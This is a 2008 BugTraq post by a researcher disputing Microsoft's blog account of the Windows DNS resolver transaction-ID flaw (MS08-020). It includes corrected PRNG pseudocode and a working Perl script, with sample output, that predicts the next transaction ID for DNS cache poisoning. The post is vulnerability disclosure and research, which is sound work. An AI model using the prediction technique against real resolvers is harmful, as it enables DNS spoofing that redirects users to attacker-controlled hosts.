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Microsoft SWI blog inaccuracies
From: Amit Klein <amit.klein () trusteer com>
Date: Mon, 28 Apr 2008 18:49:06 +0300

SUBJECT: Microsoft SWI blog inaccuracies

Hello BugTraq

As you know, 3 weeks ago I published my paper, "Microsoft
Windows DNS Stub Resolver Cache Poisoning" (http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf),
simultaneously with Microsoft's release of MS08-020
(http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx).
A day later, Microsoft's Secure Windows
Initiative (SWI) team published their blog entry for MS08-
020 (http://blogs.technet.com/swi/archive/2008/04/09/ms08-020-how-predictable-is-the-dns-transaction-id.aspx).

Unfortunately, the SWI blog entry contains two serious
mistakes. The first mistake is an inaccurate description of
the PRNG used for the Microsoft Windows DNS client
transaction ID. The second mistake is SWI's claim that
"attackers cannot predict a guaranteed, known-next TXID
exactly even with this weakness".

I contacted Microsoft about those mistakes, and while
Microsoft did not refute my statements, they also refused
to revise the blog entry. On one hand, I am inclined to tag
this as a simple unwillingness on the side of the vendor to
revise its materials and admit its mistakes. On the other
hand, I cannot ignore the fact that the two mistakes, when
combined, result in misleading the blog reader about the
nature and the severity of the problem.

Without further ado, I describe the mistakes, and let you
be the judge...

The first mistake is in the pseudo code. As opposed to the
text in the SWI blog, the pseudo code should actually read:

GlobalSeed++;
GlobalSeed+=(SomeRandomAddress>>6);
SomeNumber=
 (WORD)GetTickCount()+GlobalSeed;
GlobalLastTXID = (SomeNumber%487)+1+GlobalLastTXID);
XID=GlobalLastTXID^SomeOTHERNumber;

The transformation from SWI's notation to my paper's
notation is straightforward:

SWI notation            my paper notation
GlobalSeed n GetTickCount() T
GlobalLastTXID            S
SomeOTHERNumber        K
(SomeRandomAddress>>6)     z-1
XID                    Transaction ID

Naturally, without an accurate description of the PRNG,
researchers and attackers will not be able to conduct a
meaningful research of the PRNG and to reproduce other
people's results.

The second mistake is SWI's claim that "attackers cannot
predict a guaranteed, known-next TXID exactly even with
this weakness". However, in my paper I describe exactly how
to predict, with good accuracy (i.e. up to few dozen
guesses) the next transaction ID.

The SWI blog would lead one to believe that the only
predictable bits in the transaction ID are the four high
ones (due to the serialization of the transaction ID as
little endian, those bits are serialized in the second
byte) leaving the transaction ID with practical entropy of
12 bits (instead of the ideal 16 bits). However, if one
follows my paper, it's trivial to see that by gathering few
dozen samples, one can extract K (or very few candidates),
and one can then predict the 487 possible values for the
next transaction ID, i.e. the transaction ID entropy is
less than 9 bits.

But an attacker can do better than this. By having the
victim load an HTML page crafted by the attacker, the
attacker can control (to a great extent) the timing of the
DNS queries, thus the attacker can predict the time delta
of the next transaction ID generated, from the last sample
seen, and apply a more fine-grained prediction algorithm
which may yield few dozen candidates only (i.e. 0-6 bits of
entropy). This technique is fully described in my paper.

This is in stark contrast to SWI's claims. Furthermore,
Microsoft did have the full paper (actually, a draft of it
which contains all the relevant technical information) well
before the SWI blog was published. So the problem here is
not an issue of SWI not having access to the paper when
they wrote their blog entry.

Ironically enough, the first (coarse grained) method can
actually be demonstrated on the data provided in the SWI
blog entry. Consider the first 20 TXID entries from that
blog:

4912
4613
a813
a313
ee10
c010
7a1e
741e
b91e
911f
af1c
661d
181a
2818
c419
4fe7
d5e4
6ce5
f8e2
b7e0

Now, copy the above data to a file and run the following
Perl script (which is a revised version of technique #1 in
my paper, simplified and extended to include the prediction
step), to obtain candidates for the next value:


sub numerically { $a <=> $b}

sub verify_K_optimizer
{
   my $K=shift;
   for (my $m=1;$m<$count;$m++)
   {
       if (((($txid[$m]^$K)-($txid[$m-1]^$K)) %
65536)>487)
       {
           return 0;
       }
   }
   return 1;
}

@txid=();

$count=0;
open(FD,$ARGV[0]) or die "ERROR: Can't open file $ARGV[0]";
while(my $line=<FD>)
{
   if ($line=~/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})/x)
   {
       push @txid,hex($2.$1);
       $count++;
   }
   else
   {
       print "Can't parse line at count=$count. Line
is:\n$line\n";
   }
}
close(FD);

print "INFO: Found $count DNS queries in file.\n";

# Find which bits actually change - this can reduce the
enumeration space for K.
my $flipped=0;
my $first=$txid[0];
for (my $i=0;$i<$count;$i++)
{
   $flipped|=($txid[$i]^$first);
}

my $msb;
for ($msb=15;$msb>=0;$msb--)
{
   if ($flipped & (1 << $msb))
   {
       last;
   }
}
$msb++;

if ($msb<15)
{
   printf("WARNING: highest ".(16-$msb)." bits do not
change - can't extract those K bits. More samples would
help.\n");
}

if ($msb==16)
{
   $msb=15;
   printf("INFO: most significant bit of K cannot be
determined (this is not an issue - see the paper for more
details).\n");
}


print "INFO: Guessing K now (least significant $msb
bits)\n";

# Enumerate over K values
my @cand;
my %next_val;
for ($K=0;$K<(1<<$msb);$K++)
{
   if (verify_K_optimizer($K))
   {
       push @cand,$K;
       $S=$txid[$count-1]^$K;
       for ($i=0;$i<487;$i++)
       {
           $next_S=($S+$i+1) & 0xFFFF;
           $v=($next_S^$K);
$next_val{(($v<<8)&0xFF00)|(($v>>8)&0x00FF)}=1;
       }
   }
}

print "INFO: ".($#cand+1)." candidates for K found:
@cand\n\n";

my @sorted=sort numerically (keys %next_val);

print "INFO: ".($#sorted+1)." candidates for next TXID
value:\n\n";
foreach $val (@sorted)
{
   printf "%04x ",$val;
}
print "\n\n";

exit(0);


The script result is the following output:

INFO: Found 20 DNS queries in file.
INFO: most significant bit of K cannot be determined (this
is not an issue - see the paper for more details).
INFO: Guessing K now (least significant 15 bits)
INFO: 4 candidates for K found: 26156 26157 26158 26159

INFO: 490 candidates for next TXID value:

00e1 00ee 01e1 01ee 02e1 02ee 03e1 03ee 04e1 04ee 05e1 05ee
06e1 06ee 07e1 07ee 08e1 08ee 09e1 09ee 0ae1 0aee 0be1 0bee
0ce1 0cee 0de1 0dee 0ee1 0eee 0fe1 0fee 10e1 10ee 11e1 11ee
12e1 12ee 13e1 13ee 14e1 14ee 15e1 15ee 16e1 16ee 17e1 17ee
18e1 18ee 19e1 19ee 1ae1 1aee 1be1 1bee 1ce1 1cee 1de1 1dee
1ee1 1eee 1fe1 1fee 20e1 20ee 21e1 21ee 22e1 22ee 23e1 23ee
24e1 24ee 25e1 25ee 26e1 26ee 27e1 27ee 28e1 28ee 29e1 29ee
2ae1 2aee 2be1 2bee 2ce1 2cee 2de1 2dee 2ee1 2eee 2fe1 2fee
30e1 30ee 31e1 31ee 32e1 32ee 33e1 33ee 34e1 34ee 35e1 35ee
36e1 36ee 37e1 37ee 38e1 38ee 39e1 39ee 3ae1 3aee 3be1 3bee
3ce1 3cee 3de1 3dee 3ee1 3eee 3fe1 3fee 40e1 40ee 41e1 41ee
42e1 42ee 43e1 43ee 44e1 44ee 45e1 45ee 46e1 46ee 47e1 47ee
48e1 48ee 49e1 49ee 4ae1 4aee 4be1 4bee 4ce1 4cee 4de1 4dee
4ee1 4eee 4fe1 4fee 50e1 50ee 51e1 51ee 52e1 52ee 53e1 53ee
54e1 54ee 55e1 55ee 56e1 56ee 57e1 57ee 58e1 58ee 59e1 59ee
5ae1 5aee 5be1 5bee 5ce1 5cee 5de1 5dee 5ee1 5eee 5fe1 5fee
60e1 60ee 61e1 61ee 62e1 62ee 63e1 63ee 64e1 64ee 65e1 65ee
66e1 66ee 67e1 67ee 68e1 68ee 69e1 69ee 6ae1 6aee 6be1 6bee
6ce1 6cee 6de1 6dee 6ee1 6eee 6fe1 6fee 70e1 70ee 71e1 71ee
72e1 72ee 73e1 73ee 74e1 74ee 75e1 75ee 76e1 76ee 77e1 77ee
78e1 78ee 79e1 79ee 7ae1 7aee 7be1 7bee 7ce1 7cee 7de1 7dee
7ee1 7eee 7fe1 7fee 80e0 80e1 81e0 81e1 82e0 82e1 83e0 83e1
84e0 84e1 85e0 85e1 86e0 86e1 87e0 87e1 88e0 88e1 89e0 89e1
8ae0 8ae1 8be0 8be1 8ce0 8ce1 8de0 8de1 8ee0 8ee1 8fe0 8fe1
90e0 90e1 91e0 91e1 92e0 92e1 93e0 93e1 94e0 94e1 95e0 95e1
96e0 96e1 97e0 97e1 98e0 98e1 99e0 99e1 9ae0 9ae1 9be0 9be1
9ce0 9ce1 9de0 9de1 9ee0 9ee1 9fe0 9fe1 a0e1 a1e1 a2e1 a3e1
a4e1 a5e1 a6e1 a7e1 a8e1 a9e1 aae1 abe1 ace1 acee ade1 adee
aee1 aeee afe1 b0e0 b0e1 b1e0 b1e1 b2e0 b2e1 b3e0 b3e1 b4e0
b4e1 b5e0 b5e1 b6e0 b6e1 b7e1 b8e1 b9e1 bae1 bbe1 bce1 bde1
bee1 bfe1 c0e0 c0e1 c1e0 c1e1 c2e0 c2e1 c3e0 c3e1 c4e0 c4e1
c5e0 c5e1 c6e0 c6e1 c7e0 c7e1 c8e0 c8e1 c9e0 c9e1 cae0 cae1
cbe0 cbe1 cce0 cce1 cde0 cde1 cee0 cee1 cfe0 cfe1 d0e0 d0e1
d1e0 d1e1 d2e0 d2e1 d3e0 d3e1 d4e0 d4e1 d5e0 d5e1 d6e0 d6e1
d7e0 d7e1 d8e0 d8e1 d9e0 d9e1 dae0 dae1 dbe0 dbe1 dce0 dce1
dde0 dde1 dee0 dee1 dfe0 dfe1 e0e0 e0e1 e1e0 e1e1 e2e0 e2e1
e3e0 e3e1 e4e0 e4e1 e5e0 e5e1 e6e0 e6e1 e7e0 e7e1 e8e0 e8e1
e9e0 e9e1 eae0 eae1 ebe0 ebe1 ece0 ece1 ede0 ede1 eee0 eee1
efe0 efe1 f0e0 f0e1 f1e0 f1e1 f2e0 f2e1 f3e0 f3e1 f4e0 f4e1
f5e0 f5e1 f6e0 f6e1 f7e0 f7e1 f8e0 f8e1 f9e0 f9e1 fae0 fae1
fbe0 fbe1 fce0 fce1 fde0 fde1 fee0 fee1 ffe0 ffe1


As you can see, the correct next value, 26ee, is indeed in
the list. So this technique indeed is capable of predicting
the next value within 490 guesses. Note that while four
possible K values were singled out, the overall candidate
list is not 4*487, but rather 487+3 due to the fact that
the possible keys are consecutive and so the range of
possible next values greatly overlap among them.

Again, this is just the simplest technique, which assumes
no information on the timing of the DNS queries. Adding
some information about timing can improve the accuracy of
the algorithm (single out just one K, and predict much less
possible candidates) as well as reduce the sample size
needed (from ~20 to ~10).

Obviously, therefore, the advice given by SWI does not
address the issue: 'If you are watching for attacks on the
wire, continue to look for the same pattern as previous DNS
spoofing attacks: a steady flood of DNS "replies" with
thousands of different TXID's targeting a client lookup for
a single host.' - but we just demonstrated that with 490
responses (and not "thousands"), the cache can be poisoned,
and when information about the query timing, this can be
further reduced to few dozens.


So - what do you think? Is this intentional or just a
lapse? And how does it affect the credibility of the SWI
blog at large?

Thanks,
-Amit



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